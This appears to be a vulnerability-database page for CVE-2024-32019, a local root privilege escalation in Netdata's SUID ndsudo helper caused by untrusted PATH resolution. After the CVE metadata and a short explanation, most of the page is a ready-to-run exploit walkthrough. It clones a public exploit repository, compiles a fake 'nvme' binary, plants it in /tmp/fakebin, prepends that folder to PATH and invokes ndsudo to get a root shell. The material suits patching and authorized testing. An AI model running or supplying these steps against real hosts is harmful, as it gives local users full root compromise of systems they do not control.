# CVE-2024-32019 - Netdata ndsudo

- **URL:** https://hackindex.io/vulnerabilities/CVE-2024-32019
- **CVE:** CVE-2024-32019
- **GHSA:** GHSA-pmhq-4cxq-wj93
- **CVSS score:** 8.8
- **CVSS vector:** CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
- **Type:** CWE-426
- **Complexity:** Low
- **Privileges:** Low
- **Affected versions:** >= v1.45.0, < v1.45.3, >= v1.44.0-60, < v1.45.0-169
- **Patched versions:** v1.45.3, v1.45.0-169
- **Published:** 2026-02-21
- **Updated:** 2026-02-26

CVE-2024-32019 in Netdata’s `ndsudo` is a local privilege escalation where a user can abuse the fact that `ndsudo` runs with root privileges (SUID) but can end up resolving and executing helper programs via an attacker-influenced search path (like `PATH`). In practice, an attacker places a malicious binary with the same name as a helper `ndsudo` expects to call and ensures it’s found first, so when `ndsudo` launches it, that payload runs as root. The result is arbitrary command execution as root, meaning a local user can fully compromise the host.

Below are general examples of techniques, methods, and proof-of-concept approaches used to demonstrate this vulnerability in a controlled environment.

#### Manual Privilege Escalation

**[dollarboysushil repository](https://github.com/dollarboysushil/CVE-2024-32019-Netdata-ndsudo-PATH-Vulnerability-Privilege-Escalation?utm_source=hackindex)** - Exploit script for CVE-2024-32019

```bash
git clone https://github.com/dollarboysushil/CVE-2024-32019-Netdata-ndsudo-PATH-Vulnerability-Privilege-Escalation.git
cd CVE-2024-32019-Netdata-ndsudo-PATH-Vulnerability-Privilege-Escalation

gcc nvme.c -o nvme
```

Transfer nvme to the target and do the following:

```bash
# Prepare env
mkdir -p /tmp/fakebin
mv nvme /tmp/fakebin/
chmod +x /tmp/fakebin/nvme

# Prepare PATH
export PATH=/tmp/fakebin:$PATH
which nvme
# /tmp/fakebin/nvme
```

If everything is setup, exploit the target:

```bash
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
# whoami
# root
```